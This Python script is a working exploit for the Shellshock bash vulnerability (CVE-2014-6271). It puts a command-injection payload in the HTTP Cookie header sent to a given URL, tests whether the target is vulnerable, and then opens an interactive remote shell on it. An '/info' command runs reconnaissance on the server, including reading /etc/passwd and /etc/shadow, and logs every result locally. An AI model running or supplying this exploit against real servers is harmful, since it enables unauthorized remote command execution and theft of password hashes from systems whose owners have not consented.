#!/usr/bin/env python
#
# Author: orange@chroot.org, inndy@tdohacker.org

import sys, os, hashlib, random, requests, time

def usage():
    print('python %s <url>' % sys.argv[0])
    exit()

class POC_2014_6271(object):
    def __init__(self, url, path, prefix = ''):
        self.url = url
        self.path = path
        self.prefix = prefix
        self.i = 1
        self.start = 0
        self.end = 0

    def send_cmd(self, cmd):
        payload = '() { :;};echo Content-type:text/plain;echo;%s;exit' % cmd
        headers = { 'Cookie': payload }
        return requests.get(self.url, headers = headers,
                        allow_redirects = False, verify = False)

    def execute(self, cmd, print_cmd = False, log = True):
        if print_cmd:
            print('Execute: %s' % cmd)
        cmd = self.prefix + cmd
        r = self.send_cmd(cmd)
        res = r.content
        if self.end == 0:
            res = res[self.start:]
        else:
            res = res[self.start:-self.end]
        if log == True:
            i = self.i
            self.i += 1
            open('%s/%.4d-in.txt' % (self.path, i), 'w').write(cmd)
            open('%s/%.4d-out.txt' % (self.path, i), 'wb').write(res)
        elif type(log) == str:
            open('%s/%s-in.txt' % (self.path, log), 'w').write(cmd)
            open('%s/%s-out.txt' % (self.path, log), 'wb').write(res)
        try:
            print(res.decode('ascii'))
        except UnicodeDecodeError:
            print(res)
        return r

    def execute_info(self, cmd, title):
        return self.execute(cmd, print_cmd = True, log = title)

    def vulnerable_test(self):
        rnd = random.Random()
        for i in range(4):
            s = rnd.sample('0123456789abcdefghijklmnopqrstuvwxyz', 16)
            s = ''.join(s)
            r = self.send_cmd('echo %s' % s)
            if s not in r.text:
                return False
            start = r.text.index(s)
            end = start + len(s)
            end = len(r.text) - end
            self.start = start
            self.end = end
        return True

def readline(p):
    try:
        try:
            return raw_input(p)
        except:
            return input(p)
    except EOFError:
        return ''

def main():
    if len(sys.argv) < 2:
        usage()

    url = sys.argv[1]
    dir_name = hashlib.md5(url.encode('ascii')).hexdigest()
    date = "%x" % time.time()
    path = 'log/%s-%s' % (dir_name, date)
    prefix  = 'PATH=/usr/local/sbin:/usr/local/bin'
    prefix += ':/usr/sbin:/usr/bin:/sbin:/bin'
    prefix += ' '

    poc = POC_2014_6271(url, path, prefix)

    if not poc.vulnerable_test():
        print('This site is not vulnerable.')
        exit(1)

    try:
        os.makedirs(path, 0o755)
    except FileExistsError:
        pass
    except OSError:
        sys.stderr.write('CAN NOT mkdir\n')
        exit(1)

    open('%s/url.txt' % path, 'w').write(url)

    cmd = None
    print('This site is vulnerable.')
    print('/help for usage')
    while True:
        cmd = readline('CVE-2014-6271 $ ').strip()
        if len(cmd) == 0 or cmd == '/exit':
            break
        elif cmd == '/info':
            poc.execute_info('whoami', 'whoami')
            poc.execute_info('who', 'who')
            poc.execute_info('ps aux', 'ps')
            #poc.execute_info('netstat', 'netstat')
            poc.execute_info('cat /proc/cpuinfo', 'cpuinfo')
            poc.execute_info('cat /etc/issue', 'cat--etc-issue')
            poc.execute_info('cat /etc/fstab', 'cat--etc-fstab')
            poc.execute_info('cat /proc/version', 'version')
            poc.execute_info('cat /proc/mounts', 'mount')
            poc.execute_info('cat /etc/passwd', 'cat--etc-passwd')
            poc.execute_info('cat /etc/shadow', 'cat--etc-shadow')
            poc.execute_info('ls -al /tmp', 'ls-tmp')
            poc.execute_info('ls -al /var', 'ls-var')
            poc.execute_info('df', 'df')
        elif cmd == '/help':
            print('/help    Show this message')
            print('/info    Gather basic information')
            print('/exit    Exit shell')
            print('')
            continue
        else:
            poc.execute(cmd)

if __name__ == '__main__':
    main()
